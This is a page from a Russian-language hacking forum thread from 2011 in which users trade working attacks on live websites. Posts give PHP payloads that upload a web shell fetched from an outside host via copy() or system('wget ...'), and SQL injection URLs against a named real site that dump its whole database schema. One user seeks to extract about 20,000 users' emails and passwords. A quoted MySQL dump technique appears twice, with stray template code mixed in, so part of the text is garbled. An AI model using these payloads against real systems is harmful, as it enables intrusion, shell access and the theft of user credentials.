HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #17101  
Старый 27.05.2011, 23:05
wkar
Познающий
Регистрация: 18.10.2009
Сообщений: 80
Провел на форуме:
1180165

Репутация: 11
По умолчанию

есть возможность выполнить пхп код, но в коде не должно быть ' ` " , есть ли возможность залить шелл?

Цитата:
Сообщение от Konqi  
Konqi said:
copy($_GET[a],$
_
GET
);&a=http://site.com/shell.php&b=shell.php


спасибо
 
Ответить с цитированием

  #17102  
Старый 27.05.2011, 23:07
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


Отправить сообщение для Konqi с помощью ICQ
По умолчанию

Цитата:
Сообщение от wkar  
wkar said:
есть возможность выполнить пхп код, но в коде не должно быть ' ` " , есть ли возможность залить шелл?
copy($_GET[a],$GET);&a=http://site.com/shell.php&b=shell.php

system($_GET[a]);&a=wget http://site.com/shell.php

ну и так далее
 
Ответить с цитированием

  #17103  
Старый 28.05.2011, 00:11
FlaktW
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014

Репутация: 8
По умолчанию

Не выводится через ошибку

http://lenta.bkr.ru/out.php?id=40726+or+1+group+by+concat(version(),fl oor%20(rand(0)*2))having+min(0)+or+1+--+
 
Ответить с цитированием

  #17104  
Старый 28.05.2011, 01:26
Expl0ited
Guest
Сообщений: n/a
Провел на форуме:
262707

Репутация: 935
По умолчанию

А где ты там mysql ошибку увидел? Там только ошибка php
 
Ответить с цитированием

  #17105  
Старый 28.05.2011, 01:30
FlaktW
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014

Репутация: 8
По умолчанию

Цитата:
Сообщение от Expl0ited  
Expl0ited said:
А где ты там mysql ошибку увидел? Там только ошибка php
Если еще так попробовать обойти фильтрацию

http://lenta.bkr.ru/out.php?id=-40726+union+select+1,2,3,4,5,6,7,8,89,10,11,12,13+--+
 
Ответить с цитированием

  #17106  
Старый 28.05.2011, 01:36
Expl0ited
Guest
Сообщений: n/a
Провел на форуме:
262707

Репутация: 935
По умолчанию

Почитай уже основы скуль инъекций!

Код:
Code:
http://lenta.bkr.ru/out.php?id=(40726)and(1=0)%75nion(%73elect(1),2,(%73elect(@x)from(%73elect(@x:=0x00),(%73elect(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x2e,table_name,0x3a,column_name))))x),4,5,6,7,8,9,10,11,12,(13))--+
Постоянно задаешь однотипные вопросы!
 
Ответить с цитированием

  #17107  
Старый 29.05.2011, 15:03
Lestatkiy
Guest
Сообщений: n/a
Провел на форуме:
15203

Репутация: 5
По умолчанию

Кто в курсе, возможно ли такое:

Есть скл, там примерно 20к юзеров, хотелось бы их всех достать с помощью benchmark`a, но если выводить все сразу серв возвращает ошибку, по 100 кое-как, дампить лимитом не вариант.

Допстим запрос:

1,concat(@i:=0x00,@o:=0x0d0a,benchmark(100,@o :=CONCAT(@o,0x0d0a,(SELECT concat(@i:=Email,0x3a,Password) from user WHERE Email>@i order by Email LIMIT 1))),@o),3,4 вернет 100, как слить следующие 100, запарился ждать ответ от элиты рус-хека, которые пытаются его продвигать!
 
Ответить с цитированием

  #17108  
Старый 29.05.2011, 16:57
Expl0ited
Guest
Сообщений: n/a
Провел на форуме:
262707

Репутация: 935
По умолчанию

Цитата:
Сообщение от None  
Хочу рассказать вам о новой (может я что-то пропустил?) технике вывода данных при MySQL injection.
Дело в том, что очень неудобно когда при наличии уязвимости в результате мы можем получить всего одну строку за запрос.
Например чтоб получить структуру БД в 5 ветке MySQL, нам придется совершить столько запросов, сколько таблиц в этой самой БД. Ну а о получении имен колонок этих таблиц я уже помалкиваю.
Выходом может быть использование конструкции group_concat, но она имеет ограничение по возвращаемой длине заданное в group_concat_max_len (по умолчанию - 1024) и при огромном количестве таблиц, строка просто обрежется по этой длине.
Обойти это ограничение можно с помощью добавления условий, например table_name>{имя последней полученной таблицы}
Цитата:
Сообщение от None  
select group_concat(table_name) from information_schema.tables
Цитата:
Сообщение от None  
table
table_1
....
table_200
Цитата:
Сообщение от None  
select group_concat(table_name) from information_schema.tables where table_name>'table_200'
Цитата:
Сообщение от None  
table_201
...
table_400
Цитата:
Сообщение от None  
select group_concat(table_name) from information_schema.tables where table_name>'table_400'
...
Еще можно использовать benchmark, типо того:
Цитата:
Сообщение от None  
select concat(@a:=0, @b:=1, benchmark(100, if( (select count(password) from users where id=@a), @b:=concat( (select password from users where id=@a), 0x3a, @b, @a:=@a+1), @a:=@a+1) ) ), cast(@b as char) from users
Но при таком запросе, необходимо чтоб был уникальный числовой ключ.
Или можно ограничивать данные по логическим критериям, чтоб отбирать не все сразу. Но опять же - все делается не одним запросом.
Не буду Вас больше томить тем что Вы и так знаете и покажу о чем я говорю.
Я предлагаю без group_concat и benchmark вывести имена всех таблицы одним запросом.
Запрос строится на пользовательских переменных и условии
NOT IN
( но ручками мы туда вписывать ничего не будем ). Что-то типо цикла - только без явного цикла =)
Скажем для получения всех таблиц БД, запрос будет выглядеть таким образом:
Цитата:
Сообщение от None  
select @pro from ( select @pro:=0x2727, (select null from information_schema.tables where table_name not in(
Цитата:
Сообщение от None  
@pro:=concat(@pro,0x2c27,table_name,0x27) ) limit 0,1 ) )fexer
'','CHARACTER_SETS','COLLATIONS',...
" if author else f"
Цитата:
select @pro from ( select @pro:=0x2727, (select null from information_schema.tables where table_name not in(
Цитата:
Сообщение от None  
@pro:=concat(@pro,0x2c27,table_name,0x27) ) limit 0,1 ) )fexer
'','CHARACTER_SETS','COLLATIONS',...
@pro
- наша пользовательская переменная
fexer
- требуемый алиас для таблицы
У нас получилась некая рекурсия или цикл (не уверен как именно оно обрабатывается), который склеил все строки в одну переменную, которую мы потом и получили.
При склейке данных ( concat ) запрос примет следующий вид:
Цитата:
Сообщение от None  
select @pro from ( select @pro:=0x2727, (select null from information_schema.tables where concat(table_schema,0x2e,table_name) not in( @pro:=concat(@pro,0x2c27,table_schema,0x2e,table_n ame,0x27) ) limit 0,1 ) )fexer
Цитата:
Сообщение от None  
'','information_schema.CHARACTER_SETS','informatio n_schema.COLLATIONS'...
Таким образом, мы можем получить все данные без предварительного запроса их общего количества, уникального численного ключа и ограничения в 1024 символа.
" if author else f"
Цитата:
Хочу рассказать вам о новой (может я что-то пропустил?) технике вывода данных при MySQL injection.
Дело в том, что очень неудобно когда при наличии уязвимости в результате мы можем получить всего одну строку за запрос.
Например чтоб получить структуру БД в 5 ветке MySQL, нам придется совершить столько запросов, сколько таблиц в этой самой БД. Ну а о получении имен колонок этих таблиц я уже помалкиваю.
Выходом может быть использование конструкции group_concat, но она имеет ограничение по возвращаемой длине заданное в group_concat_max_len (по умолчанию - 1024) и при огромном количестве таблиц, строка просто обрежется по этой длине.
Обойти это ограничение можно с помощью добавления условий, например table_name>{имя последней полученной таблицы}
Цитата:
Сообщение от None  
select group_concat(table_name) from information_schema.tables
Цитата:
Сообщение от None  
table
table_1
....
table_200
Цитата:
Сообщение от None  
select group_concat(table_name) from information_schema.tables where table_name>'table_200'
Цитата:
Сообщение от None  
table_201
...
table_400
Цитата:
Сообщение от None  
select group_concat(table_name) from information_schema.tables where table_name>'table_400'
...
Еще можно использовать benchmark, типо того:
Цитата:
Сообщение от None  
select concat(@a:=0, @b:=1, benchmark(100, if( (select count(password) from users where id=@a), @b:=concat( (select password from users where id=@a), 0x3a, @b, @a:=@a+1), @a:=@a+1) ) ), cast(@b as char) from users
Но при таком запросе, необходимо чтоб был уникальный числовой ключ.
Или можно ограничивать данные по логическим критериям, чтоб отбирать не все сразу. Но опять же - все делается не одним запросом.
Не буду Вас больше томить тем что Вы и так знаете и покажу о чем я говорю.
Я предлагаю без group_concat и benchmark вывести имена всех таблицы одним запросом.
Запрос строится на пользовательских переменных и условии
NOT IN
( но ручками мы туда вписывать ничего не будем ). Что-то типо цикла - только без явного цикла =)
Скажем для получения всех таблиц БД, запрос будет выглядеть таким образом:
Цитата:
Сообщение от None  
select @pro from ( select @pro:=0x2727, (select null from information_schema.tables where table_name not in(
Цитата:
Сообщение от None  
@pro:=concat(@pro,0x2c27,table_name,0x27) ) limit 0,1 ) )fexer
'','CHARACTER_SETS','COLLATIONS',...
" if author else f"
Цитата:
select @pro from ( select @pro:=0x2727, (select null from information_schema.tables where table_name not in(
Цитата:
Сообщение от None  
@pro:=concat(@pro,0x2c27,table_name,0x27) ) limit 0,1 ) )fexer
'','CHARACTER_SETS','COLLATIONS',...
@pro
- наша пользовательская переменная
fexer
- требуемый алиас для таблицы
У нас получилась некая рекурсия или цикл (не уверен как именно оно обрабатывается), который склеил все строки в одну переменную, которую мы потом и получили.
При склейке данных ( concat ) запрос примет следующий вид:
Цитата:
Сообщение от None  
select @pro from ( select @pro:=0x2727, (select null from information_schema.tables where concat(table_schema,0x2e,table_name) not in( @pro:=concat(@pro,0x2c27,table_schema,0x2e,table_n ame,0x27) ) limit 0,1 ) )fexer
Цитата:
Сообщение от None  
'','information_schema.CHARACTER_SETS','informatio n_schema.COLLATIONS'...
Таким образом, мы можем получить все данные без предварительного запроса их общего количества, уникального численного ключа и ограничения в 1024 символа.
(c) profexer 2011
 
Ответить с цитированием

  #17109  
Старый 29.05.2011, 17:13
Lestatkiy
Guest
Сообщений: n/a
Провел на форуме:
15203

Репутация: 5
По умолчанию

Спасибо статью уже видел, но не до конца понял, не получился такой запрос, там точно null нужен? Не силен в скл

select @pro from ( select @pro:=0x2727, (select null user where concat(Email,0x2e,Password) not in( @pro:=concat(@pro,0x2c27,Email,0x2e,Password,0x27) ) limit 0,1 ) )fexer
 
Ответить с цитированием

  #17110  
Старый 29.05.2011, 17:14
Expl0ited
Guest
Сообщений: n/a
Провел на форуме:
262707

Репутация: 935
По умолчанию

Кидай ссылку, посмотрим.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ